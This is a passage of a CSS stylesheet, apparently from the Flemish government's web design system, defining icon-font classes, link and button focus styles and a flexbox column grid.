      .vl-vi-file-audio--after:after,
      .vl-vi-file-audio:before {
        content: ""
      }

      .vl-vi-file-copy--after:after,
      .vl-vi-file-copy:before {
        content: ""
      }

      .vl-vi-file-download--after:after,
      .vl-vi-file-download:before {
        content: ""
      }

      .vl-vi-file-edit--after:after,
      .vl-vi-file-edit:before {
        content: ""
      }

      .vl-vi-file-image--after:after,
      .vl-vi-file-image:before {
        content: ""
      }

      .vl-vi-file-new--after:after,
      .vl-vi-file-new:before {
        content: ""
      }

      .vl-vi-file-office-doc--after:after,
      .vl-vi-file-office-doc:before {
        content: ""
      }

      .vl-vi-file-office-pdf--after:after,
      .vl-vi-file-office-pdf:before {
        content: ""
      }

      .vl-vi-file-office-ppt--after:after,
      .vl-vi-file-office-ppt:before {
        content: ""
      }

      .vl-vi-file-office-xls--after:after,
      .vl-vi-file-office-xls:before {
        content: ""
      }

      .vl-vi-file-swap--after:after,
      .vl-vi-file-swap:before {
        content: ""
      }

      .vl-vi-file-tasks-check--after:after,
      .vl-vi-file-tasks-check:before {
        content: ""
      }

      .vl-vi-file-upload--after:after,
      .vl-vi-file-upload:before {
        content: ""
      }

      .vl-vi-file-video--after:after,
      .vl-vi-file-video:before {
        content: ""
      }

      .vl-vi-file-zipped-new--after:after,
      .vl-vi-file-zipped-new:before {
        content: ""
      }

      .vl-vi-file-zipped-vice--after:after,
      .vl-vi-file-zipped-vice:before {
        content: ""
      }

      .vl-vi-file--after:after,
      .vl-vi-file:before {
        content: ""
      }

      .vl-vi-files-coding--after:after,
      .vl-vi-files-coding:before {
        content: ""
      }

      .vl-vi-film--after:after,
      .vl-vi-film:before {
        content: ""
      }

      .vl-vi-fingerprint--after:after,
      .vl-vi-fingerprint:before {
        content: ""
      }

      .vl-vi-flickr--after:after,
      .vl-vi-flickr:before {
        content: ""
      }

      .vl-vi-focus--after:after,
      .vl-vi-focus:before {
        content: ""
      }

      .vl-vi-folder--after:after,
      .vl-vi-folder:before {
        content: ""
      }

      .vl-vi-font--after:after,
      .vl-vi-font:before {
        content: ""
      }

      .vl-vi-food-apple:before {
        content: ""
      }

      .vl-vi-food-apple--after:after {
        content: ""
      }

      .vl-vi-food-grain--after:after,
      .vl-vi-food-grain:before {
        content: ""
      }

      .vl-vi-gender-female-male--after:after,
      .vl-vi-gender-female-male:before {
        content: ""
      }

      .vl-vi-gender-female--after:after,
      .vl-vi-gender-female:before {
        content: ""
      }

      .vl-vi-gender-male--after:after,
      .vl-vi-gender-male:before {
        content: ""
      }

      .vl-vi-gender-transgender--after:after,
      .vl-vi-gender-transgender:before {
        content: ""
      }

      .vl-vi-globe-alt--after:after,
      .vl-vi-globe-alt:before {
        content: ""
      }

      .vl-vi-globe--after:after,
      .vl-vi-globe:before {
        content: ""
      }

      .vl-vi-google-play--after:after,
      .vl-vi-google-play:before {
        content: ""
      }

      .vl-vi-googleplus--after:after,
      .vl-vi-googleplus:before {
        content: ""
      }

      .vl-vi-graduate--after:after,
      .vl-vi-graduate:before {
        content: ""
      }

      .vl-vi-graduation-hat--after:after,
      .vl-vi-graduation-hat:before {
        content: ""
      }

      .vl-vi-hammer-anvil--after:after,
      .vl-vi-hammer-anvil:before {
        content: ""
      }

      .vl-vi-hammer--after:after,
      .vl-vi-hammer:before {
        content: ""
      }

      .vl-vi-hand-hint--after:after,
      .vl-vi-hand-hint:before {
        content: ""
      }

      .vl-vi-harddisk--after:after,
      .vl-vi-harddisk:before {
        content: ""
      }

      .vl-vi-headphone--after:after,
      .vl-vi-headphone:before {
        content: ""
      }

      .vl-vi-health-first-aid-kit--after:after,
      .vl-vi-health-first-aid-kit:before {
        content: ""
      }

      .vl-vi-health-heart-pulse--after:after,
      .vl-vi-health-heart-pulse:before {
        content: ""
      }

      .vl-vi-health-hospital--after:after,
      .vl-vi-health-hospital:before {
        content: ""
      }

      .vl-vi-hide--after:after,
      .vl-vi-hide:before {
        content: ""
      }

      .vl-vi-hierarchy--after:after,
      .vl-vi-hierarchy:before {
        content: ""
      }

      .vl-vi-hotel-bath-shower--after:after,
      .vl-vi-hotel-bath-shower:before {
        content: ""
      }

      .vl-vi-hotel-bed--after:after,
      .vl-vi-hotel-bed:before {
        content: ""
      }

      .vl-vi-hotel-fire-alarm--after:after,
      .vl-vi-hotel-fire-alarm:before {
        content: ""
      }

      .vl-vi-hotel-shower--after:after,
      .vl-vi-hotel-shower:before {
        content: ""
      }

      .vl-vi-hourglass--after:after,
      .vl-vi-hourglass:before {
        content: ""
      }

      .vl-vi-id-card--after:after,
      .vl-vi-id-card:before {
        content: ""
      }

      .vl-vi-id--after:after,
      .vl-vi-id:before {
        content: ""
      }

      .vl-vi-images-copy--after:after,
      .vl-vi-images-copy:before {
        content: ""
      }

      .vl-vi-images--after:after,
      .vl-vi-images:before {
        content: ""
      }

      .vl-vi-inbox--after:after,
      .vl-vi-inbox:before {
        content: ""
      }

      .vl-vi-indent-left--after:after,
      .vl-vi-indent-left:before {
        content: ""
      }

      .vl-vi-indent-right--after:after,
      .vl-vi-indent-right:before {
        content: ""
      }

      .vl-vi-info-circle--after:after,
      .vl-vi-info-circle:before {
        content: ""
      }

      .vl-vi-info-filled--after:after,
      .vl-vi-info-filled:before {
        content: ""
      }

      .vl-vi-info-naked--after:after,
      .vl-vi-info-naked:before {
        content: ""
      }

      .vl-vi-info--after:after,
      .vl-vi-info:before {
        content: ""
      }

      .vl-vi-instagram--after:after,
      .vl-vi-instagram:before {
        content: ""
      }

      .vl-vi-ironing--after:after,
      .vl-vi-ironing:before {
        content: ""
      }

      .vl-vi-italic--after:after,
      .vl-vi-italic:before {
        content: ""
      }

      .vl-vi-jira--after:after,
      .vl-vi-jira:before {
        content: ""
      }

      .vl-vi-key--after:after,
      .vl-vi-key:before {
        content: ""
      }

      .vl-vi-keyboard--after:after,
      .vl-vi-keyboard:before {
        content: ""
      }

      .vl-vi-laptop--after:after,
      .vl-vi-laptop:before {
        content: ""
      }

      .vl-vi-leisure-ticket--after:after,
      .vl-vi-leisure-ticket:before {
        content: ""
      }

      .vl-vi-lightbulb--after:after,
      .vl-vi-lightbulb:before {
        content: ""
      }

      .vl-vi-link-broken--after:after,
      .vl-vi-link-broken:before {
        content: ""
      }

      .vl-vi-link--after:after,
      .vl-vi-link:before {
        content: ""
      }

      .vl-vi-linkedin--after:after,
      .vl-vi-linkedin:before {
        content: ""
      }

      .vl-vi-list-add--after:after,
      .vl-vi-list-add:before {
        content: ""
      }

      .vl-vi-list-bullets-alt--after:after,
      .vl-vi-list-bullets-alt:before {
        content: ""
      }

      .vl-vi-list-bullets--after:after,
      .vl-vi-list-bullets:before {
        content: ""
      }

      .vl-vi-list-numbers--after:after,
      .vl-vi-list-numbers:before {
        content: ""
      }

      .vl-vi-list--after:after,
      .vl-vi-list:before {
        content: ""
      }

      .vl-vi-loader--after:after,
      .vl-vi-loader:before {
        content: ""
      }

      .vl-vi-location-direction-arrow--after:after,
      .vl-vi-location-direction-arrow:before {
        content: ""
      }

      .vl-vi-location-gps--after:after,
      .vl-vi-location-gps:before {
        content: ""
      }

      .vl-vi-location-map--after:after,
      .vl-vi-location-map:before {
        content: ""
      }

      .vl-vi-location--after:after,
      .vl-vi-location:before {
        content: ""
      }

      .vl-vi-lock-unlock--after:after,
      .vl-vi-lock-unlock:before {
        content: ""
      }

      .vl-vi-lock--after:after,
      .vl-vi-lock:before {
        content: ""
      }

      .vl-vi-login--after:after,
      .vl-vi-login:before {
        content: ""
      }

      .vl-vi-logout--after:after,
      .vl-vi-logout:before {
        content: ""
      }

      .vl-vi-long-arrow--after:after,
      .vl-vi-long-arrow:before {
        content: ""
      }

      .vl-vi-magic-wand--after:after,
      .vl-vi-magic-wand:before {
        content: ""
      }

      .vl-vi-magnifier--after:after,
      .vl-vi-magnifier:before {
        content: ""
      }

      .vl-vi-mail--after:after,
      .vl-vi-mail:before {
        content: ""
      }

      .vl-vi-market--after:after,
      .vl-vi-market:before {
        content: ""
      }

      .vl-vi-menu--after:after,
      .vl-vi-menu:before {
        content: ""
      }

      .vl-vi-messenger--after:after,
      .vl-vi-messenger:before {
        content: ""
      }

      .vl-vi-microphone-off--after:after,
      .vl-vi-microphone-off:before {
        content: ""
      }

      .vl-vi-microphone--after:after,
      .vl-vi-microphone:before {
        content: ""
      }

      .vl-vi-milk-carton--after:after,
      .vl-vi-milk-carton:before {
        content: ""
      }

      .vl-vi-minus-circle--after:after,
      .vl-vi-minus-circle:before {
        content: ""
      }

      .vl-vi-minus--after:after,
      .vl-vi-minus:before {
        content: ""
      }

      .vl-vi-mobile-phone--after:after,
      .vl-vi-mobile-phone:before {
        content: ""
      }

      .vl-vi-money-note--after:after,
      .vl-vi-money-note:before {
        content: ""
      }

      .vl-vi-move-down--after:after,
      .vl-vi-move-down:before {
        content: ""
      }

      .vl-vi-move-left-right--after:after,
      .vl-vi-move-left-right:before {
        content: ""
      }

      .vl-vi-move-up--after:after,
      .vl-vi-move-up:before {
        content: ""
      }

      .vl-vi-moving-elevator--after:after,
      .vl-vi-moving-elevator:before {
        content: ""
      }

      .vl-vi-music-note--after:after,
      .vl-vi-music-note:before {
        content: ""
      }

      .vl-vi-nature-leaf--after:after,
      .vl-vi-nature-leaf:before {
        content: ""
      }

      .vl-vi-nature-tree--after:after,
      .vl-vi-nature-tree:before {
        content: ""
      }

      .vl-vi-nav-down-double--after:after,
      .vl-vi-nav-down-double:before {
        content: ""
      }

      .vl-vi-nav-down-light--after:after,
      .vl-vi-nav-down-light:before {
        content: ""
      }

      .vl-vi-nav-down--after:after,
      .vl-vi-nav-down:before {
        content: ""
      }

      .vl-vi-nav-left-double--after:after,
      .vl-vi-nav-left-double:before {
        content: ""
      }

      .vl-vi-nav-left-light--after:after,
      .vl-vi-nav-left-light:before {
        content: ""
      }

      .vl-vi-nav-left--after:after,
      .vl-vi-nav-left:before {
        content: ""
      }

      .vl-vi-nav-right-double--after:after,
      .vl-vi-nav-right-double:before {
        content: ""
      }

      .vl-vi-nav-right-light--after:after,
      .vl-vi-nav-right-light:before {
        content: ""
      }

      .vl-vi-nav-right--after:after,
      .vl-vi-nav-right:before {
        content: ""
      }

      .vl-vi-nav-show-more-horizontal--after:after,
      .vl-vi-nav-show-more-horizontal:before {
        content: ""
      }

      .vl-vi-nav-show-more-vertical--after:after,
      .vl-vi-nav-show-more-vertical:before {
        content: ""
      }

      .vl-vi-nav-up-double--after:after,
      .vl-vi-nav-up-double:before {
        content: ""
      }

      .vl-vi-nav-up-light--after:after,
      .vl-vi-nav-up-light:before {
        content: ""
      }

      .vl-vi-nav-up--after:after,
      .vl-vi-nav-up:before {
        content: ""
      }

      .vl-vi-news--after:after,
      .vl-vi-news:before {
        content: ""
      }

      .vl-vi-newsletter--after:after,
      .vl-vi-newsletter:before {
        content: ""
      }

      .vl-vi-newspaper--after:after,
      .vl-vi-newspaper:before {
        content: ""
      }

      .vl-vi-next--after:after,
      .vl-vi-next:before {
        content: ""
      }

      .vl-vi-organization-network--after:after,
      .vl-vi-organization-network:before {
        content: ""
      }

      .vl-vi-other-annoyances-alt--after:after,
      .vl-vi-other-annoyances-alt:before {
        content: ""
      }

      .vl-vi-other-annoyances--after:after,
      .vl-vi-other-annoyances:before {
        content: ""
      }

      .vl-vi-paint-brush--after:after,
      .vl-vi-paint-brush:before {
        content: ""
      }

      .vl-vi-paint-palette--after:after,
      .vl-vi-paint-palette:before {
        content: ""
      }

      .vl-vi-paper--after:after,
      .vl-vi-paper:before {
        content: ""
      }

      .vl-vi-paperclip--after:after,
      .vl-vi-paperclip:before {
        content: ""
      }

      .vl-vi-paperplane--after:after,
      .vl-vi-paperplane:before {
        content: ""
      }

      .vl-vi-paragraph--after:after,
      .vl-vi-paragraph:before {
        content: ""
      }

      .vl-vi-pause--after:after,
      .vl-vi-pause:before {
        content: ""
      }

      .vl-vi-pencil-ruler--after:after,
      .vl-vi-pencil-ruler:before {
        content: ""
      }

      .vl-vi-pencil-write--after:after,
      .vl-vi-pencil-write:before {
        content: ""
      }

      .vl-vi-pencil--after:after,
      .vl-vi-pencil:before {
        content: ""
      }

      .vl-vi-pennants--after:after,
      .vl-vi-pennants:before {
        content: ""
      }

      .vl-vi-phone-incoming--after:after,
      .vl-vi-phone-incoming:before {
        content: ""
      }

      .vl-vi-phone-off--after:after,
      .vl-vi-phone-off:before {
        content: ""
      }

      .vl-vi-phone-outgoing--after:after,
      .vl-vi-phone-outgoing:before {
        content: ""
      }

      .vl-vi-phone-record--after:after,
      .vl-vi-phone-record:before {
        content: ""
      }

      .vl-vi-phone-signal-low--after:after,
      .vl-vi-phone-signal-low:before {
        content: ""
      }

      .vl-vi-phone-speaker--after:after,
      .vl-vi-phone-speaker:before {
        content: ""
      }

      .vl-vi-phone--after:after,
      .vl-vi-phone:before {
        content: ""
      }

      .vl-vi-pick-up--after:after,
      .vl-vi-pick-up:before {
        content: ""
      }

      .vl-vi-pin-paper--after:after,
      .vl-vi-pin-paper:before {
        content: ""
      }

      .vl-vi-pin--after:after,
      .vl-vi-pin:before {
        content: ""
      }

      .vl-vi-pinterest--after:after,
      .vl-vi-pinterest:before {
        content: ""
      }

      .vl-vi-places-factory--after:after,
      .vl-vi-places-factory:before {
        content: ""
      }

      .vl-vi-places-home--after:after,
      .vl-vi-places-home:before {
        content: ""
      }

      .vl-vi-play--after:after,
      .vl-vi-play:before {
        content: ""
      }

      .vl-vi-playstreet--after:after,
      .vl-vi-playstreet:before {
        content: ""
      }

      .vl-vi-plug--after:after,
      .vl-vi-plug:before {
        content: ""
      }

      .vl-vi-plus-circle-filled--after:after,
      .vl-vi-plus-circle-filled:before {
        content: ""
      }

      .vl-vi-plus-circle--after:after,
      .vl-vi-plus-circle:before {
        content: ""
      }

      .vl-vi-plus-naked--after:after,
      .vl-vi-plus-naked:before {
        content: ""
      }

      .vl-vi-plus--after:after,
      .vl-vi-plus:before {
        content: ""
      }

      .vl-vi-power-button--after:after,
      .vl-vi-power-button:before {
        content: ""
      }

      .vl-vi-printer-view--after:after,
      .vl-vi-printer-view:before {
        content: ""
      }

      .vl-vi-printer--after:after,
      .vl-vi-printer:before {
        content: ""
      }

      .vl-vi-profile-active--after:after,
      .vl-vi-profile-active:before {
        content: ""
      }

      .vl-vi-programming-bug--after:after,
      .vl-vi-programming-bug:before {
        content: ""
      }

      .vl-vi-programming-jigsaw--after:after,
      .vl-vi-programming-jigsaw:before {
        content: ""
      }

      .vl-vi-publication--after:after,
      .vl-vi-publication:before {
        content: ""
      }

      .vl-vi-question-mark-filled--after:after,
      .vl-vi-question-mark-filled:before {
        content: ""
      }

      .vl-vi-question-mark-naked--after:after,
      .vl-vi-question-mark-naked:before {
        content: ""
      }

      .vl-vi-question-mark-small--after:after,
      .vl-vi-question-mark-small:before {
        content: ""
      }

      .vl-vi-question-mark--after:after,
      .vl-vi-question-mark:before {
        content: ""
      }

      .vl-vi-question--after:after,
      .vl-vi-question:before {
        content: ""
      }

      .vl-vi-recreation--after:after,
      .vl-vi-recreation:before {
        content: ""
      }

      .vl-vi-reply-all--after:after,
      .vl-vi-reply-all:before {
        content: ""
      }

      .vl-vi-reply--after:after,
      .vl-vi-reply:before {
        content: ""
      }

      .vl-vi-rewards-certified-badge--after:after,
      .vl-vi-rewards-certified-badge:before {
        content: ""
      }

      .vl-vi-rewards-gift--after:after,
      .vl-vi-rewards-gift:before {
        content: ""
      }

      .vl-vi-road-block--after:after,
      .vl-vi-road-block:before {
        content: ""
      }

      .vl-vi-road--after:after,
      .vl-vi-road:before {
        content: ""
      }

      .vl-vi-romance-marriage-license--after:after,
      .vl-vi-romance-marriage-license:before {
        content: ""
      }

      .vl-vi-ruler--after:after,
      .vl-vi-ruler:before {
        content: ""
      }

      .vl-vi-safe--after:after,
      .vl-vi-safe:before {
        content: ""
      }

      .vl-vi-save--after:after,
      .vl-vi-save:before {
        content: ""
      }

      .vl-vi-scaffold--after:after,
      .vl-vi-scaffold:before {
        content: ""
      }

      .vl-vi-scan--after:after,
      .vl-vi-scan:before {
        content: ""
      }

      .vl-vi-scissors--after:after,
      .vl-vi-scissors:before {
        content: ""
      }

      .vl-vi-search--after:after,
      .vl-vi-search:before {
        content: ""
      }

      .vl-vi-server--after:after,
      .vl-vi-server:before {
        content: ""
      }

      .vl-vi-settings--after:after,
      .vl-vi-settings:before {
        content: ""
      }

      .vl-vi-share-megaphone--after:after,
      .vl-vi-share-megaphone:before {
        content: ""
      }

      .vl-vi-share-rss-feed--after:after,
      .vl-vi-share-rss-feed:before {
        content: ""
      }

      .vl-vi-share--after:after,
      .vl-vi-share:before {
        content: ""
      }

      .vl-vi-shipping-truck--after:after,
      .vl-vi-shipping-truck:before {
        content: ""
      }

      .vl-vi-shopping-basket-add--after:after,
      .vl-vi-shopping-basket-add:before {
        content: ""
      }

      .vl-vi-shopping-basket-subtract--after:after,
      .vl-vi-shopping-basket-subtract:before {
        content: ""
      }

      .vl-vi-shopping-basket--after:after,
      .vl-vi-shopping-basket:before {
        content: ""
      }

      .vl-vi-shopping-cart--after:after,
      .vl-vi-shopping-cart:before {
        content: ""
      }

      .vl-vi-shopping--after:after,
      .vl-vi-shopping:before {
        content: ""
      }

      .vl-vi-shrink--after:after,
      .vl-vi-shrink:before {
        content: ""
      }

      .vl-vi-sign-disable--after:after,
      .vl-vi-sign-disable:before {
        content: ""
      }

      .vl-vi-sign-recycle--after:after,
      .vl-vi-sign-recycle:before {
        content: ""
      }

      .vl-vi-sitemap--after:after,
      .vl-vi-sitemap:before {
        content: ""
      }

      .vl-vi-skype--after:after,
      .vl-vi-skype:before {
        content: ""
      }

      .vl-vi-smiley-poker-face--after:after,
      .vl-vi-smiley-poker-face:before {
        content: ""
      }

      .vl-vi-smiley-smile--after:after,
      .vl-vi-smiley-smile:before {
        content: ""
      }

      .vl-vi-snapchat--after:after,
      .vl-vi-snapchat:before {
        content: ""
      }

      .vl-vi-snippet--after:after,
      .vl-vi-snippet:before {
        content: ""
      }

      .vl-vi-sort--after:after,
      .vl-vi-sort:before {
        content: ""
      }

      .vl-vi-speaker-volume-decrease--after:after,
      .vl-vi-speaker-volume-decrease:before {
        content: ""
      }

      .vl-vi-speaker-volume-high--after:after,
      .vl-vi-speaker-volume-high:before {
        content: ""
      }

      .vl-vi-speaker-volume-increase--after:after,
      .vl-vi-speaker-volume-increase:before {
        content: ""
      }

      .vl-vi-speaker-volume-low--after:after,
      .vl-vi-speaker-volume-low:before {
        content: ""
      }

      .vl-vi-speaker-volume-medium--after:after,
      .vl-vi-speaker-volume-medium:before {
        content: ""
      }

      .vl-vi-speaker-volume-off--after:after,
      .vl-vi-speaker-volume-off:before {
        content: ""
      }

      .vl-vi-sports-competition--after:after,
      .vl-vi-sports-competition:before {
        content: ""
      }

      .vl-vi-spotify--after:after,
      .vl-vi-spotify:before {
        content: ""
      }

      .vl-vi-stop--after:after,
      .vl-vi-stop:before {
        content: ""
      }

      .vl-vi-subtract-filled--after:after,
      .vl-vi-subtract-filled:before {
        content: ""
      }

      .vl-vi-subtract-naked--after:after,
      .vl-vi-subtract-naked:before {
        content: ""
      }

      .vl-vi-subtract--after:after,
      .vl-vi-subtract:before {
        content: ""
      }

      .vl-vi-subway--after:after,
      .vl-vi-subway:before {
        content: ""
      }

      .vl-vi-suitcase--after:after,
      .vl-vi-suitcase:before {
        content: ""
      }

      .vl-vi-switches--after:after,
      .vl-vi-switches:before {
        content: ""
      }

      .vl-vi-symbol-wifi-check--after:after,
      .vl-vi-symbol-wifi-check:before {
        content: ""
      }

      .vl-vi-symbol-wifi-close--after:after,
      .vl-vi-symbol-wifi-close:before {
        content: ""
      }

      .vl-vi-symbol-wifi--after:after,
      .vl-vi-symbol-wifi:before {
        content: ""
      }

      .vl-vi-synchronize-timeout--after:after,
      .vl-vi-synchronize-timeout:before {
        content: ""
      }

      .vl-vi-synchronize--after:after,
      .vl-vi-synchronize:before {
        content: ""
      }

      .vl-vi-t-shirt--after:after,
      .vl-vi-t-shirt:before {
        content: ""
      }

      .vl-vi-tablet--after:after,
      .vl-vi-tablet:before {
        content: ""
      }

      .vl-vi-tag-add--after:after,
      .vl-vi-tag-add:before {
        content: ""
      }

      .vl-vi-tag-check--after:after,
      .vl-vi-tag-check:before {
        content: ""
      }

      .vl-vi-tag-close--after:after,
      .vl-vi-tag-close:before {
        content: ""
      }

      .vl-vi-tag-double--after:after,
      .vl-vi-tag-double:before {
        content: ""
      }

      .vl-vi-tag-edit--after:after,
      .vl-vi-tag-edit:before {
        content: ""
      }

      .vl-vi-tag-subtract--after:after,
      .vl-vi-tag-subtract:before {
        content: ""
      }

      .vl-vi-tag-view--after:after,
      .vl-vi-tag-view:before {
        content: ""
      }

      .vl-vi-tag--after:after,
      .vl-vi-tag:before {
        content: ""
      }

      .vl-vi-taxi--after:after,
      .vl-vi-taxi:before {
        content: ""
      }

      .vl-vi-television--after:after,
      .vl-vi-television:before {
        content: ""
      }

      .vl-vi-terrace--after:after,
      .vl-vi-terrace:before {
        content: ""
      }

      .vl-vi-text-cursor--after:after,
      .vl-vi-text-cursor:before {
        content: ""
      }

      .vl-vi-text-eraser--after:after,
      .vl-vi-text-eraser:before {
        content: ""
      }

      .vl-vi-text-redo--after:after,
      .vl-vi-text-redo:before {
        content: ""
      }

      .vl-vi-text-undo--after:after,
      .vl-vi-text-undo:before {
        content: ""
      }

      .vl-vi-timeline--after:after,
      .vl-vi-timeline:before {
        content: ""
      }

      .vl-vi-tint--after:after,
      .vl-vi-tint:before {
        content: ""
      }

      .vl-vi-train--after:after,
      .vl-vi-train:before {
        content: ""
      }

      .vl-vi-trash--after:after,
      .vl-vi-trash:before {
        content: ""
      }

      .vl-vi-trophy--after:after,
      .vl-vi-trophy:before {
        content: ""
      }

      .vl-vi-twitter--after:after,
      .vl-vi-twitter:before {
        content: ""
      }

      .vl-vi-underline--after:after,
      .vl-vi-underline:before {
        content: ""
      }

      .vl-vi-university--after:after,
      .vl-vi-university:before {
        content: ""
      }

      .vl-vi-up-down-arrows--after:after,
      .vl-vi-up-down-arrows:before {
        content: ""
      }

      .vl-vi-upload-harddisk--after:after,
      .vl-vi-upload-harddisk:before {
        content: ""
      }

      .vl-vi-usb--after:after,
      .vl-vi-usb:before {
        content: ""
      }

      .vl-vi-user-alt--after:after,
      .vl-vi-user-alt:before {
        content: ""
      }

      .vl-vi-user-box--after:after,
      .vl-vi-user-box:before {
        content: ""
      }

      .vl-vi-user-download--after:after,
      .vl-vi-user-download:before {
        content: ""
      }

      .vl-vi-user-email--after:after,
      .vl-vi-user-email:before {
        content: ""
      }

      .vl-vi-user-female--after:after,
      .vl-vi-user-female:before {
        content: ""
      }

      .vl-vi-user-group--after:after,
      .vl-vi-user-group:before {
        content: ""
      }

      .vl-vi-user-male--after:after,
      .vl-vi-user-male:before {
        content: ""
      }

      .vl-vi-user-reception--after:after,
      .vl-vi-user-reception:before {
        content: ""
      }

      .vl-vi-user-redirect--after:after,
      .vl-vi-user-redirect:before {
        content: ""
      }

      .vl-vi-user-remove--after:after,
      .vl-vi-user-remove:before {
        content: ""
      }

      .vl-vi-user-setting--after:after,
      .vl-vi-user-setting:before {
        content: ""
      }

      .vl-vi-user-signup--after:after,
      .vl-vi-user-signup:before {
        content: ""
      }

      .vl-vi-user--after:after,
      .vl-vi-user:before {
        content: ""
      }

      .vl-vi-vaccum-cleaner--after:after,
      .vl-vi-vaccum-cleaner:before {
        content: ""
      }

      .vl-vi-video-subtitle--after:after,
      .vl-vi-video-subtitle:before {
        content: ""
      }

      .vl-vi-view-add--after:after,
      .vl-vi-view-add:before {
        content: ""
      }

      .vl-vi-view-hide--after:after,
      .vl-vi-view-hide:before {
        content: ""
      }

      .vl-vi-vlaanderen--after:after,
      .vl-vi-vlaanderen:before {
        content: ""
      }

      .vl-vi-vote-flag--after:after,
      .vl-vi-vote-flag:before {
        content: ""
      }

      .vl-vi-vote-heart--after:after,
      .vl-vi-vote-heart:before {
        content: ""
      }

      .vl-vi-vote-star-filled--after:after,
      .vl-vi-vote-star-filled:before {
        content: ""
      }

      .vl-vi-vote-star--after:after,
      .vl-vi-vote-star:before {
        content: ""
      }

      .vl-vi-vote-thumbs-down--after:after,
      .vl-vi-vote-thumbs-down:before {
        content: ""
      }

      .vl-vi-vote-thumbs-up--after:after,
      .vl-vi-vote-thumbs-up:before {
        content: ""
      }

      .vl-vi-voucher-check--after:after,
      .vl-vi-voucher-check:before {
        content: ""
      }

      .vl-vi-voucher-download--after:after,
      .vl-vi-voucher-download:before {
        content: ""
      }

      .vl-vi-voucher-scissors--after:after,
      .vl-vi-voucher-scissors:before {
        content: ""
      }

      .vl-vi-vouchers-list--after:after,
      .vl-vi-vouchers-list:before {
        content: ""
      }

      .vl-vi-wallet--after:after,
      .vl-vi-wallet:before {
        content: ""
      }

      .vl-vi-warning--after:after,
      .vl-vi-warning:before {
        content: ""
      }

      .vl-vi-whatsapp--after:after,
      .vl-vi-whatsapp:before {
        content: ""
      }

      .vl-vi-whiskey-bottle-glass--after:after,
      .vl-vi-whiskey-bottle-glass:before {
        content: ""
      }

      .vl-vi-window-forward--after:after,
      .vl-vi-window-forward:before {
        content: ""
      }

      .vl-vi-wrench--after:after,
      .vl-vi-wrench:before {
        content: ""
      }

      .vl-vi-www--after:after,
      .vl-vi-www:before {
        content: ""
      }

      .vl-vi-x--after:after,
      .vl-vi-x:before {
        content: ""
      }

      .vl-vi-youtube--after:after,
      .vl-vi-youtube:before {
        content: ""
      }

      .vl-vi-zoom-in--after:after,
      .vl-vi-zoom-in:before {
        content: ""
      }

      .vl-vi-zoom-out--after:after,
      .vl-vi-zoom-out:before {
        content: ""
      }

      a {
        color: var(--vl-theme-action-color, #05c);
        -webkit-text-decoration: underline;
        text-decoration: underline;
        -webkit-text-decoration-skip: ink;
        text-decoration-skip-ink: auto
      }

      a:focus,
      a:hover {
        color: #004ab3;
        color: var(--vl-theme-action-hover-color, #004ab3);
        -webkit-text-decoration: none;
        text-decoration: none
      }

      a:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        a:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      button {
        cursor: pointer;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif)
      }

      button:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        button:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      img.vl-image--error {
        word-wrap: break-word;
        background-color: #f7f9fc;
        color: #333332;
        color: var(--vl-theme-fg-color);
        font-size: 1.6rem;
        line-height: 1.25;
        padding: 10px
      }

      sub {
        vertical-align: sub
      }

      sub,
      sup {
        font-size: 1.2rem
      }

      sup {
        vertical-align: super
      }

      .vl-grid {
        display: flex;
        flex: 0 1 auto;
        flex-direction: row;
        flex-wrap: wrap;
        margin-left: -3rem
      }

      .vl-grid,
      .vl-grid>* {
        box-sizing: border-box;
        position: relative
      }

      .vl-grid>* {
        padding-left: 3rem
      }

      .vl-grid--no-gutter {
        margin-left: 0
      }

      .vl-grid--no-gutter>* {
        padding-left: 0
      }

      .vl-grid--v-top {
        align-items: flex-start
      }

      .vl-grid--v-center {
        align-items: center
      }

      .vl-grid--v-bottom {
        align-items: flex-end
      }

      .vl-grid--v-baseline,
      .vl-grid--v-stretch {
        align-items: stretch
      }

      .vl-grid--align-start {
        justify-content: flex-start
      }

      .vl-grid--align-end {
        justify-content: flex-end
      }

      .vl-grid--align-center {
        justify-content: center
      }

      .vl-grid--align-space-between {
        justify-content: space-between
      }

      .vl-grid--align-space-around {
        justify-content: space-around
      }

      .vl-col--fit {
        flex: 1 0
      }

      .vl-col--flex {
        display: flex
      }

      .vl-col--1-12 {
        flex-basis: 8.3333333333%;
        max-width: 8.3333333333%;
        min-width: 8.3333333333%
      }

      .vl-col--1-6,
      .vl-col--2-12 {
        flex-basis: 16.6666666667%;
        max-width: 16.6666666667%;
        min-width: 16.6666666667%
      }

      .vl-col--1-4,
      .vl-col--3-12 {
        flex-basis: 25%;
        max-width: 25%;
        min-width: 25%
      }

      .vl-col--1-3,
      .vl-col--2-6,
      .vl-col--4-12 {
        flex-basis: 33.3333333333%;
        max-width: 33.3333333333%;
        min-width: 33.3333333333%
      }

      .vl-col--5-12 {
        flex-basis: 41.6666666667%;
        max-width: 41.6666666667%;
        min-width: 41.6666666667%
      }

      .vl-col--1-2,
      .vl-col--2-4,
      .vl-col--3-6,
      .vl-col--6-12 {
        flex-basis: 50%;
        max-width: 50%;
        min-width: 50%
      }

      .vl-col--7-12 {
        flex-basis: 58.3333333333%;
        max-width: 58.3333333333%;
        min-width: 58.3333333333%
      }

      .vl-col--2-3,
      .vl-col--4-6,
      .vl-col--8-12 {
        flex-basis: 66.6666666667%;
        max-width: 66.6666666667%;
        min-width: 66.6666666667%
      }

      .vl-col--3-4,
      .vl-col--9-12 {
        flex-basis: 75%;
        max-width: 75%;
        min-width: 75%
      }

      .vl-col--10-12,
      .vl-col--5-6 {
        flex-basis: 83.3333333333%;
        max-width: 83.3333333333%;
        min-width: 83.3333333333%
      }

      .vl-col--11-12 {
        flex-basis: 91.6666666667%;
        max-width: 91.6666666667%;
        min-width: 91.6666666667%
      }

      .vl-col--1-1,
      .vl-col--12-12,
      .vl-col--2-2,
      .vl-col--3-3,
      .vl-col--4-4,
      .vl-col--6-6 {
        flex-basis: 100%;
        max-width: 100%;
        min-width: 100%
      }

